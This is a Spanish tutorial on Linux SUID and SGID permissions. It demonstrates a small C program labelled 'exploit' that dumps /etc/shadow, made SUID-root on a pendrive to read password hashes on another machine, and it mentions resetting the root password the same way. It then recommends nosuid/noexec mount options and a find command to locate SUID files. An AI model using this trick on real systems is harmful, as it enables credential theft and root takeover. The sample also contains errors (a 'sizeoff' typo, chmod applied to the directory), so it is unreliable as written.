Permisos SUID y SGID

Los ficheros con estos permisos activados es necesario tenerlos controlados ya que se ejecutan con los privilegios de su propietario y no del usuario que los ejecuta. Si el propietario es el root un mal uso puede comprometer el sistema.

Peligros con estos permisos

Tengamos el siguiente programa:

#include <stdio.h>

#define SIZE 2000

int main (void) {
  FILE *ptFichero;
  char chrBuffer[SIZE];
  int intLeidos;

  /* ABRIMOS EL FICHERO EN SOLO LECTURA */
  ptFichero = fopen("/etc/shadow", "r");
  
  /* LEEMOS 2000 CARACTERES */
  intLeidos = fread(chrBuffer, sizeof(char), SIZE, ptFichero);

  /* SACAMOS POR LA SALIDA ESTANDAR LOS CARACTERES LEIDOS */
  fwrite(chrBuffer, sizeoff(char), intLeidos, stdout);

  /* CERRAMOS EL FICHERO */
  fclose(ptFichero);

  return 0;
}

Y a continuación lo compilamos y hacemos lo siguiente:

[root@sal]# cp exploit /media/pendrive
[root@sal]# chmod 4755 /media/pendrive
[root@sal]# ls -lh /media/pendrive/exploit
-rwsr-xr-x 1 root root 1,9K 2007-04-11 12:38 exploit
[root@sal]# 

Si a continuación llevamos ese pendrive a un equipo en el que tengamos privilegios para montarlo y esté permitido la ejecución de SUID. En ese equipo podremos leer el contenido del fichero /etc/shadow sin ser el usuario root.

Si en lugar de lectura hubieramos programado que sustituyera el password del usuario root por uno conocido por nosotros tendríamos acceso a root en esa máquina.

Aviso

Por cosas como esta es por lo que NUNCA el comando chown debería tener activados los permisos SUID.

Aunque las implementaciones de hoy en día de este comando eliminan los permisos SUID y SGID en implementaciones viejas no lo hacían y era un agujero de seguridad.

Evitando la ejecución de ficheros con esos permisos

La mejor forma es indicar nosuid en las opciones en el fichero /etc/fstab de los sistemas de ficheros en los que no sea necesario ejecuciones SUID.

Sugerencia

En los sistemas de ficheros que pueden montar los usuarios es más que recomendable utilizar la opció nosuid y puede que también noexec.

Localizando estos ficheros

Antés de nada recordemos un par de cosas:

  • SUID los ficheros con este permiso activado tienen permisos mayores, en octal, que 4000.

  • SGID los ficheros con este permiso activado tienen permisos mayores, en octal, que 2000.

  • Sticky Bit los ficheros con este permiso activado tienen permisos mayores, en octal, que 1000.

Para localizar a todos los ficheros con permiso SUID activado:

[root@sal]# find / -perm +4000 -exec ls -l {} \;